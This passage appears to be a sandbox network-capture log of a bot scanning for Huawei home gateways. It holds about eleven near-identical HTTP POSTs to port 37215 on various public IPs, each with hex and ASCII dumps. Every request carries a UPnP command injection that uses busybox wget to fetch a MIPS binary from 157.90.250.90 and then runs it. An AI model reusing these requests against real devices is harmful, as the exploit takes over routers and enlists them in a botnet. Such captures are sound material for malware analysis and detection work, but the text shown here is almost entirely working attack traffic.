HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	41278	197.50.83.42	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.380515099 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	33276	197.166.189.254	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.381238937 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	43142	197.158.250.72	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.381897926 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	60002	197.119.240.72	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.382635117 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	36440	156.188.250.125	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.383321047 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	36928	197.79.214.113	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.391676903 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	37280	41.183.207.233	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.399702072 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	40834	156.159.12.120	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.416088104 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	40232	156.18.88.219	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.419650078 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	57396	197.215.104.102	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.253454924 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	50944	197.59.152.207	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.254412889 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 